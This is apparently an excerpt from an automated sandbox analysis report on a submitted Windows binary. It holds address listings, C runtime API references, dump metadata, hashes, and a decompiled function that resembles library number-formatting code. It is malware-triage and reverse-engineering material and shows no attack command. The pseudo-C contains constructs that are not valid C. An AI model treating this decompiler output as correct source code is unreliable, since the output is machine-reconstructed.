0x0042583f
0x00425846
0x00425848
0x0042584d
0x0042584d
0x00425850
0x00425850
0x00425853
0x004259f2
0x004259f5
0x004259fb
0x004259fe
0x00425a0c
0x00425a11
0x00425a14
0x00425a18
0x00425a1d
0x00425a1d
0x00425a20
0x00425a20
0x00000000
0x00000000
0x00425f4e
0x00425f4e
0x00425f55
0x00425f63
0x00425f63
0x00425f6a
0x00000000
0x00000000
0x00425f6c
0x00425f6c
0x00425f6f
0x00425f6f
0x00425f72
0x00425f75
0x00425f8b
0x00425f8b
0x00425f8e
0x00425f8e
0x00425f91
0x00425f94
0x00425fa0
0x00000000
0x00425fa0
0x00425f77
0x00425f77
0x00425f7e
0x00000000
0x00000000
0x00425f80
0x00425f83
0x00425f86
0x00000000
0x00425f86
0x00425f57
0x00425f57
0x00425f5a
0x00425f5c
0x00000000
0x00000000
0x0042635a
0x0042635a
0x00426361
0x00426368
0x00426383
0x00426383
0x0042638a
0x004263b0
0x004263b0
0x004263b7
0x004263b9
0x004263b9
0x004263c0
0x004263c0
0x004263c0
0x004263c8
0x004263d0
0x004263d2
0x00000000
0x00000000
0x004263d8
0x004263d8
0x004263de
0x004263e1
0x004263e4
0x004263e6
0x00000000
0x00000000
0x004263e8
0x004263ee
0x004263f1
0x004263fd
0x00426400
0x00426406
0x0042640b
0x0042640e
0x00426411
0x00426415
0x0042641c
0x00426423
0x0042642a
0x0042642e
0x00426436
0x00426438
0x0042643f
0x0042643f
0x00426442
0x00426445
0x00426448
0x00426454
0x00000000
0x00426454
0x0042643a
0x00000000
0x0042643a
0x0042645f
0x0042645f
0x00426466
0x0042646e
0x00426470
0x00426472
0x00426475
0x00426479
0x00426480
0x00426482
0x0042659b
0x0042659b
0x004265a2
0x0042675e
0x00426761
0x00426764
0x00426767
0x0042676b
0x00426772
0x0042677a
0x00426781
0x004267d5
0x00000000
0x004267d5
0x00426783
0x00426783
0x00426787
0x00426789
0x0042678e
0x00426791
0x0042679a
0x0042679d
0x004267a0
0x004267ab
0x004267ac
0x004267b2
0x004267b3
0x004267b6
0x004267b7
0x004267bb
0x004267bb
0x004267be
0x004267bf
0x004267ce
0x004267d0
0x004267d0
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x004265a8
0x004265a8
0x004265af
0x004265be
0x004265be
0x004265c4
0x004265c7
0x004265ca
0x004265cc
0x00000000
0x00000000
0x004265d2
0x004265d8
0x004265db
0x004265e1
0x004265e4
0x004265e7
0x004265eb
0x004265f2
0x004265f9
0x00426600
0x00426604
0x0042660c
0x0042660e
0x00426615
0x00426615
0x00426618
0x0042661b
0x0042661e
0x0042662a
0x00426630
0x00426637
0x00426680
0x00426680
0x00426687
0x004266bf
0x004266bf
0x004266bf
0x004266c7
0x004266cf
0x004266d1
0x00000000
0x00000000
0x004266d7
0x004266d7
0x004266dd
0x004266e0
0x004266e3
0x004266e5
0x00000000
0x00000000
0x004266e7
0x004266ed
0x004266f0
0x004266fc
0x004266ff
0x00426705
0x0042670a
0x0042670d
0x00426710
0x00426714
0x0042671b
0x00426722
0x00426729
0x0042672d
0x00426735
0x00426737
0x0042673e
0x00426741
0x00426744
0x00426747
0x00426753
0x00000000
0x00426753
0x00426739
0x00000000
0x00426739
0x00000000
0x004266bf
0x00426689
0x00426689
0x0042668f
0x00426692
0x00426695
0x00426697
0x004266a4
0x004266a7
0x004266a7
0x004266aa
0x004266ad
0x004266b9
0x00426699
0x0042669c
0x0042669f
0x0042669f
0x00000000
0x00426697
0x00426639
0x0042663f
0x00426642
0x00426648
0x0042664b
0x0042664e
0x00426652
0x00426659
0x00426660
0x00426667
0x0042666b
0x00426673
0x00426675
0x0042667c
0x00000000
0x0042667c
0x00426677
0x00000000
0x00426677
0x00426610
0x00000000
0x00426610
0x004265b1
0x004265b1
0x004265b8
0x00000000
0x00000000
0x00000000
0x004265b8
0x00426488
0x00426488
0x0042648e
0x00426491
0x00426494
0x00426496
0x00000000
0x00000000
0x0042649c
0x0042649c
0x0042649f
0x004264a2
0x004264a5
0x004264b1
0x004264bd
0x004264c0
0x004264c3
0x004264c8
0x004264cb
0x004264ce
0x004264d2
0x004264d9
0x004264e0
0x004264e7
0x004264eb
0x004264f3
0x004264f5
0x004264fc
0x004264fc
0x004264fc
0x00426504
0x0042650c
0x0042650e
0x00000000
0x00000000
0x00426514
0x00426514
0x0042651a
0x0042651d
0x00426520
0x00426522
0x00000000
0x00000000
0x00426524
0x0042652a
0x0042652d
0x00426539
0x0042653c
0x00426542
0x00426547
0x0042654a
0x0042654d
0x00426551
0x00426558
0x0042655f
0x00426566
0x0042656a
0x00426572
0x00426574
0x0042657b
0x0042657e
0x00426581
0x00426584
0x00426590
0x00000000
0x00426590
0x00426576
0x00000000
0x00426576
0x00000000
0x004264fc
0x004264f7
0x00000000
0x004264f7
0x0042638c
0x0042638c
0x0042638f
0x00426392
0x00426395
0x00426398
0x00426398
0x0042639b
0x0042639e
0x004263aa
0x00000000
0x004263aa
0x0042636a
0x00426370
0x00426373
0x00426379
0x0042637c
0x00000000
0x00000000
0x00425e02
0x00425e02
0x00000000
0x00000000
0x00426342
0x00426342
0x00426345
0x0042634b
0x0042634f
0x00426351
0x00426355
0x00426831
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x00426353
0x00000000
0x00000000
0x00425f4a
0x00425f4a
0x00000000
0x00000000
0x00000000
0x00000000
0x00425e09
0x00425e09
0x00425e10
0x00425e1f
0x00425e1f
0x00425e26
0x00425e62
0x00425e62
0x00425e69
0x00425f48
0x00425fa6
0x00425fa6
0x00425faa
0x00426170
0x00426170
0x00426170
0x00426174
0x00426176
0x00000000
0x00000000
0x0042617c
0x0042617c
0x00426180
0x00426188
0x00426188
0x00426190
0x00426198
0x0042619a
0x004261c3
0x004261c6
0x004261c6
0x004261c9
0x0042619c
0x004261a2
0x004261a5
0x004261ab
0x004261bb
0x004261bb
0x0042622f
0x0042622f
0x00426233
0x00426235
0x00426297
0x00426297
0x0042629a
0x0042629a
0x0042629d
0x004262a0
0x004262a4
0x004262ab
0x004262b3
0x00000000
0x004262b3
0x00426237
0x0042623d
0x00426240
0x00426246
0x0042624c
0x00426252
0x00426256
0x0042625c
0x00426263
0x0042627a
0x0042627a
0x0042627d
0x0042627d
0x00426280
0x00426283
0x0042628f
0x00426295
0x00000000
0x00426295
0x00426265
0x00426265
0x00426268
0x00426268
0x0042626b
0x0042626e
0x00000000
0x00000000
0x00426270
0x00426270
0x00426273
0x00426275
0x00000000
0x00426275
0x00426182
0x00426182
0x00426186
0x004261ce
0x004261ce
0x004261d6
0x004261de
0x004261e0
0x00426226
0x00426229
0x00426229
0x0042622c
0x004261e2
0x004261e2
0x004261e6
0x0042620d
0x00426213
0x00426219
0x0042621c
0x0042621c
0x0042621e
0x004261e8
0x004261e8
0x004261ef
0x00426202
0x00426205
0x00426205
0x00426208
0x004261f1
0x004261f7
0x004261fa
0x004261fa
0x0042620b
0x00426224
0x00000000
0x004261e0
0x00000000
0x00426186
0x004262b8
0x004262b8
0x004262bc
0x004262be
0x004262c0
0x004262c6
0x004262c8
0x004262c8
0x004262ce
0x004262ce
0x004262d2
0x004262d4
0x004262d4
0x004262de
0x004262e5
0x00426338
0x00000000
0x004262e7
0x004262e7
0x004262e7
0x004262eb
0x004262ed
0x00426336
0x00426831
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x004262ef
0x004262ef
0x004262f2
0x004262f2
0x004262f5
0x004262f8
0x004262f8
0x004262fc
0x00426314
0x00426318
0x0042631a
0x00426329
0x00426333
0x0042631c
0x0042631c
0x0042631f
0x00426325
0x00426325
0x004262fe
0x004262fe
0x00426301
0x00426307
0x00426309
0x0042630f
0x0042630f
0x00000000
0x004262fc
0x00000000
0x00000000
0x00000000
0x00425fb0
0x00425fb0
0x00425fb0
0x00425fb4
0x00425fb6
0x00000000
0x00000000
0x00425fbc
0x00425fbc
0x00425fc0
0x00425fc8
0x00425fc8
0x00425fd0
0x00425fd8
0x00425fda
0x00426013
0x00426016
0x00426016
0x00426019
0x00425fdc
0x00425fdc
0x00425fe2
0x00425fe8
0x00425fef
0x00425ff5
0x00425ffb
0x0042600b
0x0042600b
0x004260ad
0x004260ad
0x004260b1
0x004260b3
0x00426123
0x00426123
0x00426126
0x00426126
0x00426129
0x0042612c
0x00426130
0x00426137
0x0042613f
0x00000000
0x0042613f
0x004260b5
0x004260bb
0x004260be
0x004260ca
0x004260cd
0x004260ce
0x004260d4
0x004260da
0x004260dc
0x004260e2
0x004260e8
0x004260ef
0x00426106
0x00426106
0x00426109
0x00426109
0x0042610c
0x0042610f
0x0042611b
0x00426121
0x00000000
0x00426121
0x004260f1
0x004260f1
0x004260f4
0x004260f4
0x004260f7
0x004260fa
0x00000000
0x00000000
0x004260fc
0x004260fc
0x004260ff
0x00426101
0x00000000
0x00426101
0x00425fc2
0x00425fc2
0x00425fc6
0x00426021
0x00426021
0x00426029
0x00426031
0x00426033
0x004260a4
0x004260a7
0x004260a7
0x004260aa
0x00426035
0x00426035
0x00426039
0x00426070
0x00426076
0x0042607c
0x0042607e
0x00426083
0x00426083
0x00426089
0x0042608f
0x00426096
0x0042609c
0x0042603b
0x0042603b
0x00426042
0x00426065
0x00426068
0x00426068
0x0042606b
0x00426044
0x00426044
0x0042604a
0x00426050
0x00426057
0x0042605d
0x0042605d
0x0042606e
0x004260a2
0x00000000
0x00426033
0x00000000
0x00425fc6
0x00426144
0x00426144
0x00426148
0x0042614a
0x0042614c
0x00426152
0x00426154
0x0042615a
0x0042615d
0x0042615f
0x00426165
0x00426165
0x00000000
0x0042616b
0x00425e6f
0x00425e6f
0x00425e72
0x00425e75
0x00425e78
0x00425e84
0x00425e8a
0x00425e91
0x00425e94
0x00425ea2
0x00425ea5
0x00425ea8
0x00425eab
0x00425eb7
0x00425ebd
0x00425ec4
0x00425ec6
0x00425ec9
0x00425ecc
0x00425ecf
0x00425ed3
0x00425ed5
0x00425ed8
0x00425ed8
0x00425edb
0x00425edb
0x00425ed3
0x00425ede
0x00000000
0x00425ede
0x00425e96
0x00425e96
0x00425e9d
0x00425ea0
0x00425ee7
0x00425eed
0x00425ef0
0x00425ef6
0x00425efa
0x00425f22
0x00425f25
0x00425f25
0x00425f28
0x00425f2b
0x00425f2f
0x00425f36
0x00425f3e
0x00425efc
0x00425efc
0x00425f03
0x00425f05
0x00425f08
0x00425f08
0x00425f0b
0x00425f0e
0x00425f10
0x00425f13
0x00425f13
0x00425f16
0x00425f16
0x00425f0e
0x00425f19
0x00425f19
0x00000000
0x00425efa
0x00000000
0x00425ea0
0x00425e28
0x00425e28
0x00425e2b
0x00425e2b
0x00425e2e
0x00425e31
0x00425e47
0x00425e47
0x00425e4a
0x00425e4a
0x00425e4d
0x00425e50
0x00425e5c
0x00000000
0x00425e5c
0x00425e33
0x00425e33
0x00425e3a
0x00000000
0x00000000
0x00425e3c
0x00425e3c
0x00425e3f
0x00425e42
0x00000000
0x00425e42
0x00425e12
0x00425e15
0x00425e18
0x00000000
0x00000000
0x00425870
0x00425870
0x00425877
0x00425879
0x0042587b
0x0042587e
0x0042587e
0x00425881
0x00425881
0x00425884
0x00425887
0x0042588a
0x0042588d
0x00425890
0x00425893
0x00425896
0x00425899
0x0042589c
0x004258a1
0x004258a4
0x004258a7
0x004258aa
0x004258aa
0x004258ad
0x004258ad
0x004258b0
0x004258b8
0x004258c0
0x004258c4
0x004258c6
0x004258c9
0x004258cc
0x004258cf
0x004258d1
0x004258d5
0x004258d8
0x004258d8
0x004258db
0x004258de
0x004258e1
0x004258e1
0x004258cf
0x004258e5
0x004258e5
0x004258e5
0x004258e8
0x004258eb
0x004258ee
0x00000000
0x00000000
0x004258f4
0x004258f4
0x004258f7
0x004258f9
0x004258ff
0x00425902
0x00425905
0x00425909
0x0042590c
0x00425921
0x00425921
0x00425924
0x0042592b
0x00425932
0x0042593a
0x0042593c
0x00425943
0x00425949
0x0042594c
0x0042594f
0x004259d2
0x00000000
0x004259d2
0x0042590e
0x0042590e
0x00425912
0x00425914
0x00000000
0x00000000
0x00425916
0x00425916
0x00425919
0x0042591c
0x0042591f
0x00425954
0x00425954
0x00425957
0x00425959
0x0042595f
0x00425962
0x00425965
0x00425969
0x0042596d
0x0042596f
0x00425979
0x0042597c
0x0042597f
0x00425982
0x00425971
0x00425971
0x00425974
0x00425974
0x00425985
0x00425988
0x00425995
0x00425995
0x00425995
0x00425999
0x0042599d
0x0042599f
0x00000000
0x00000000
0x004259a1
0x004259a5
0x004259ac
0x004259b4
0x004259b6
0x004259bd
0x004259c3
0x004259c6
0x004259c9
0x0042598d
0x00425990
0x00425990
0x00425992
0x00425992
0x004259ce
0x004259ce
0x00000000
0x004259ce
0x00000000
0x0042591f
0x004259d7
0x004259d7
0x004259da
0x004259dd
0x004259df
0x004259e6
0x004259e6
0x004259ea
0x004259ec
0x004259ef
0x004259ef
0x004259f2
0x004259f2
0x004259f5
0x004259fb
0x004259fe
0x00425a0c
0x00425a11
0x00425a14
0x00425a18
0x00425a1d
0x00425a1d
0x00425a20
0x00425a20
0x00425a23
0x00425a23
0x00425a2a
0x00000000
0x00000000
0x00000000
0x00425a2a
0x004259f2
0x004259e1
0x00000000
0x00000000
0x00000000
0x00000000
0x00425817
0x0042576c
0x0042576c
0x00425770
0x0042577e
0x00425781
0x0042578a
0x00425793
0x00425799
0x004257a2
0x004257ab
0x004257ae
0x004257b1
0x004257b4
0x004257b8
0x00000000
0x004257ba
0x004257ba
0x004257c1
0x004257c3
0x004257cf
0x004257d2
0x004257c5
0x004257c7
0x004257ca
0x004257ca
0x004257da
0x00000000
0x004257da
0x004257b8
0x00425772
0x00425772
0x00425776
0x00000000
0x00000000
0x00425778
0x00425778
0x0042577c
0x00000000
0x00000000
0x00000000
0x0042577c
0x0042575a
0x0042575a
0x0042575e
0x00426842
0x00426848
0x0042684f
0x00426856
0x0042685b
0x00000000
0x0042685b
0x00000000
0x0042575e
0x00425743
0x00425743
0x0042574a
0x00000000
0x0042574c
0x00000000
0x0042574c
0x0042574a
0x004256fe
0x004256fe
0x00425702
0x00425722
0x00425725
0x00425725
0x00425728
0x0042572f
0x00425734
0x00425737
0x00000000
0x00425737
0x00425704
0x00425704
0x00425708
0x00000000
0x0042570a
0x00425712
0x00425717
0x0042571a
0x00000000
0x0042571a
0x004256b7
0x004256b7
0x004256bd
0x004256c0
0x004256cd
0x004256d6
0x00000000
0x004256d6
0x004256c2
0x004256c8
0x004256cb
0x004256e4
0x004256e4
0x004256e6
0x00000000
0x004256e6
0x00000000
0x004256cb
0x004256b5
0x0042538f
0x00425395
0x004253ad
0x004253b2
0x004253b5
0x004253b5
0x004253bb
0x004253c3
0x004253cb
0x004253d0
0x004253d3
0x00000000
0x004253b5
0x0042538d
0x00000000
0x0042536e
0x00426971
0x00426831
0x00425bdd
0x00425be2
0x00425bec
0x00425bee
0x00425c54
0x00425c57
0x00425c5a
0x00425c5e
0x00425c60
0x00425c67
0x00425c69
0x00425c6d
0x00425c75
0x00425c7b
0x00425c8e
0x00425c8e
0x00425c91
0x00425c7d
0x00425c83
0x00425c83
0x00425ca6
0x00425caa
0x00425caf
0x00425caf
0x00425c6d
0x00425c67
0x00425bf0
0x00425bf2
0x00425bf5
0x00425bf8
0x00425bfc
0x00425bfe
0x00425c05
0x00425c07
0x00425c0b
0x00425c13
0x00425c19
0x00425c2c
0x00425c2c
0x00425c2f
0x00425c1b
0x00425c1b
0x00425c21
0x00425c21
0x00425c46
0x00425c4a
0x00425c4f
0x00425c4f
0x00425c0b
0x00425c05
0x00425c52
0x00000000
0x00425cb2
0x00425a40
0x00425a46
0x00425a4d
0x00425a52
0x00425a55
0x00425a5b
0x00425a62
0x00425bb0
0x00425bb6
0x00425bb9
0x00425bc4
0x00425bc9
0x00000000
0x00425bc9
0x00425a68
0x00425a68
0x00425a6c
0x00425ac7
0x00425ac7
0x00425acb
0x00425acd
0x00425ba5
0x00425ba8
0x00425ba8
0x00425bab
0x00425bae
0x00000000
0x00425bce
0x00425ad3
0x00425ad3
0x00425ad7
0x00425ae5
0x00425ae9
0x00425aeb
0x00425b8f
0x00425b97
0x00425b9d
0x00425b9d
0x00425ba0
0x00425af1
0x00425af7
0x00425afd
0x00425b05
0x00425b0a
0x00425b0d
0x00425b0f
0x00425b14
0x00425b14
0x00425b17
0x00425b1e
0x00425b23
0x00425b26
0x00425b26
0x00425b31
0x00425b3b
0x00425b60
0x00425b65
0x00425b6b
0x00425b6f
0x00425b78
0x00425b81
0x00425b81
0x00000000
0x00425ba3
0x00425ad9
0x00425ad9
0x00000000
0x00425ad9
0x00425a6e
0x00425a6e
0x00425a72
0x00425a8f
0x00425a8f
0x00425a93
0x00000000
0x00000000
0x00425a99
0x00425a9f
0x00425aa2
0x00425abf
0x00425ac1
0x00000000
0x00000000
0x00000000
0x00425ac1
0x00425a74
0x00425a74
0x00425a7b
0x00425a86
0x00425a86
0x00425a8d
0x00000000
0x00000000
0x00000000
0x00425a8d
0x00425a7d
0x00425a7d
0x00425a84
0x00000000
0x00000000
0x00000000
0x00425a84
0x00425a23
0x004259f2

APIs

__un_inc.LIBCMTD ref: 00425A0C
__inc.LIBCMTD ref: 00425A4D
_memset.LIBCMT ref: 00425C4A

Strings

, xrefs: 00425A86
{, xrefs: 00425A8F

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __inc__un_inc_memset
String ID: ${
API String ID: 2807732903-4046706400
Opcode ID: defe76bedc38ac85151283cb8806c96b14c87bdeaea55b94a2064d08ffe81a63
Instruction ID: 5a2db8e70fcd9b6589db3af0c8269419de16bd6df31e1269b513a31125e29140
Opcode Fuzzy Hash: defe76bedc38ac85151283cb8806c96b14c87bdeaea55b94a2064d08ffe81a63
Instruction Fuzzy Hash: 66517E70E0162DCBCF24DFA5E8857EEBB70AF05315F5442AED419A6281DB385E82CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00430437, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00430437() {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t557 - 0x260)) = 0x27;
					while(1) {
						L148:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L153:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00420C00(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00420C00(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
											 *(__ebp - 0x2b4) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00420C00(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00420C20(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b8) = E00420C20(__ebp + 0x14);
								 *(__ebp - 0x2b4) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L170;
							}
							L166:
							__eflags =  *(__ebp - 0x2b4);
							if(__eflags > 0) {
								goto L170;
							}
							L167:
							if(__eflags < 0) {
								L169:
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
								__edx =  *(__ebp - 0x2b4);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
								 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L171:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2c0);
										__eax =  *(__ebp - 0x2bc);
										__eax =  *(__ebp - 0x2bc) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2bc) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									L182:
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										L186:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L190:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L216;
												}
												L191:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2c4);
													__eax = E00430BA0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00430BE0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E00430BA0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L212:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E00430BE0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L213;
												} else {
													L204:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L212;
													}
													L205:
													 *(__ebp - 0x2dc) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c8) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
													while(1) {
														L206:
														__ecx =  *(__ebp - 0x2cc);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L207:
														__eax =  *(__ebp - 0x2c8);
														 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
														__edx =  *(__ebp - 0x32e) & 0x0000ffff;
														__eax = __ebp - 0x2d8;
														__ecx = __ebp - 0x2d0;
														 *(__ebp - 0x2dc) = E00436BC0(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														__eflags =  *(__ebp - 0x2dc);
														if( *(__ebp - 0x2dc) != 0) {
															L209:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L208:
														__eflags =  *(__ebp - 0x2d0);
														if( *(__ebp - 0x2d0) != 0) {
															L210:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2d0);
															__ebp - 0x2d8 = E00430BE0( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
